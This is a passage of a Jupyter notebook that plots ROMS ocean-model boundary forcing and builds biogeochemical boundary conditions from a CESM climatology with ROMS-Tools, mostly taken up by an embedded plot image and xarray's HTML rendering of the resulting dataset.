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IDJZMKUKVPQ2tpq8719fHx6HHN3d7f4XpIku4bIicj1MIkkIlJAQkICNBoNzp49izlz5vQ4X1FRAQBob2+Xj126dAmlpaXYsmULbrzxRgBAfn7+kLd10qRJaGtrQ2FhocVwdmlpKRISEob8/kTknJhEEhEpwM/PD2vWrMHq1athMpkwa9YsXL58Gfv27YNWq0VqaiokScLOnTuxaNEieHl5ISAgAEFBQdi8eTPCw8Nx9uxZZGVlDXlbx48fj8WLF2P58uV466234Ofnh6ysLERGRmLx4sVDfn8ick5cnU1EpJD169dj3bp1yM7OxqRJk7BgwQJ88cUXiI2NRWRkJJ599llkZWUhNDQUK1eulBe6FBUVYcqUKVi9ejVeeuklh7T17bffxvTp03HbbbchJSUFQgh8+eWXPYbBich1cHU2EREREdmNPZFEREREZDcmkUREI8TGjRvh6+tr9WvhwoVKN4+IRhgOZxMRjRC1tbWora21es7Ly6tHKSEiooFgEklEREREduNwNhERERHZjUkkEREREdmNSSQRERER2Y1JJBERERHZjUkkEREREdmNSSQRERER2Y1JJBERERHZ7X8BUNdGoyr7E7MAAAAASUVORK5CYII=", "text/plain": [ "<Figure size 700x400 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time boundary_forcing.plot(\"ubar_east\", time=0)" ] }, { "cell_type": "markdown", "id": "345bb761-487b-4a20-92a6-ef23f3c026ff", "metadata": {}, "source": [ "## Biogeochemical (BGC) boundary forcing\n", "We now create BGC boundary forcing. The BGC variables are interpolated from a CESM climatology, which is located here." ] }, { "cell_type": "code", "execution_count": 14, "id": "40aa4be4-fb55-4523-9a5b-7c5a8bb1718a", "metadata": {}, "outputs": [], "source": [ "path = \"/global/cfs/projectdirs/m4746/Datasets/CESM_REGRIDDED/CESM-climatology_lowres_regridded.nc\"" ] }, { "cell_type": "code", "execution_count": 15, "id": "655f314c-b930-4eb8-ba75-3c3b24d32d0a", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 4.64 s, sys: 87.9 ms, total: 4.73 s\n", "Wall time: 5.64 s\n" ] } ], "source": [ "%%time\n", "\n", "bgc_boundary_forcing = BoundaryForcing(\n", " grid=grid,\n", " start_time=start_time,\n", " end_time=end_time,\n", " source={\"name\": \"CESM_REGRIDDED\", \"path\": path, \"climatology\": True},\n", " type=\"bgc\",\n", " use_dask=True,\n", ")" ] }, { "cell_type": "code", "execution_count": 16, "id": "76a4f487-0876-460b-9192-40a10e8487ab", "metadata": {}, "outputs": [ { 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grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 63MB\n", "Dimensions: (bry_time: 12, s_rho: 100, xi_rho: 102, eta_rho: 102)\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 96B 2000-01-16 ... 2000-12-15\n", " * bry_time (bry_time) float64 96B 15.0 45.0 74.0 ... 319.0 349.0\n", "Dimensions without coordinates: s_rho, xi_rho, eta_rho\n", "Data variables: (12/128)\n", " PO4_south (bry_time, s_rho, xi_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " NO3_south (bry_time, s_rho, xi_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " SiO3_south (bry_time, s_rho, xi_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " NH4_south (bry_time, s_rho, xi_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " Fe_south (bry_time, s_rho, xi_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " Lig_south (bry_time, s_rho, xi_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " ... ...\n", " diazChl_west (bry_time, s_rho, eta_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " diazC_west (bry_time, s_rho, eta_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " diazP_west (bry_time, s_rho, eta_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " diazFe_west (bry_time, s_rho, eta_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " spCaCO3_west (bry_time, s_rho, eta_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", " zooC_west (bry_time, s_rho, eta_rho) float32 490kB dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS boundary forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-02 00:00:00\n", " end_time: 2012-01-04 00:00:00\n", " source: CESM_REGRIDDED\n", " model_reference_date: 2000-01-01 00:00:00\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0\n", " climatology: True</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-43e50b2b-215d-42c9-9b02-710cf86afe64' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-43e50b2b-215d-42c9-9b02-710cf86afe64' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>bry_time</span>: 12</li><li><span>s_rho</span>: 100</li><li><span>xi_rho</span>: 102</li><li><span>eta_rho</span>: 102</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-1f06a2f9-4667-4918-be12-5f105e1bc030' class='xr-section-summary-in' type='checkbox' checked><label for='section-1f06a2f9-4667-4918-be12-5f105e1bc030' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2000-01-16 ... 2000-12-15</div><input id='attrs-eb22f39e-68e7-43bb-ab48-ad60e9627ee8' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-eb22f39e-68e7-43bb-ab48-ad60e9627ee8' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-44fab0cc-9e8a-40f7-9011-7ec34b765816' class='xr-var-data-in' type='checkbox'><label for='data-44fab0cc-9e8a-40f7-9011-7ec34b765816' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2000-01-16T00:00:00.000000000&#x27;, &#x27;2000-02-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-03-15T00:00:00.000000000&#x27;, &#x27;2000-04-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-05-15T00:00:00.000000000&#x27;, &#x27;2000-06-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-07-15T00:00:00.000000000&#x27;, &#x27;2000-08-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-09-15T00:00:00.000000000&#x27;, &#x27;2000-10-15T00:00:00.000000000&#x27;,\n", " &#x27;2000-11-15T00:00:00.000000000&#x27;, &#x27;2000-12-15T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>bry_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>15.0 45.0 74.0 ... 319.0 349.0</div><input id='attrs-f73efecc-0356-4f89-9c20-ef2d49ed542e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-f73efecc-0356-4f89-9c20-ef2d49ed542e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7285495a-8521-4723-a412-03c293346d04' class='xr-var-data-in' type='checkbox'><label for='data-7285495a-8521-4723-a412-03c293346d04' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd><dt><span>cycle_length :</span></dt><dd>365.25</dd></dl></div><div class='xr-var-data'><pre>array([ 15., 45., 74., 105., 135., 166., 196., 227., 258., 288., 319., 349.])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-6b6299f8-290e-4d8d-b27d-14959872ba57' class='xr-section-summary-in' type='checkbox' ><label for='section-6b6299f8-290e-4d8d-b27d-14959872ba57' class='xr-section-summary' >Data variables: <span>(128)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>PO4_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-2f466994-4c4f-4a5c-8c91-253a66f9e0c7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2f466994-4c4f-4a5c-8c91-253a66f9e0c7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-9a6c8df4-bcf7-4b08-b7ae-766008aad848' class='xr-var-data-in' type='checkbox'><label for='data-9a6c8df4-bcf7-4b08-b7ae-766008aad848' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary dissolved inorganic phosphate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 68 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon 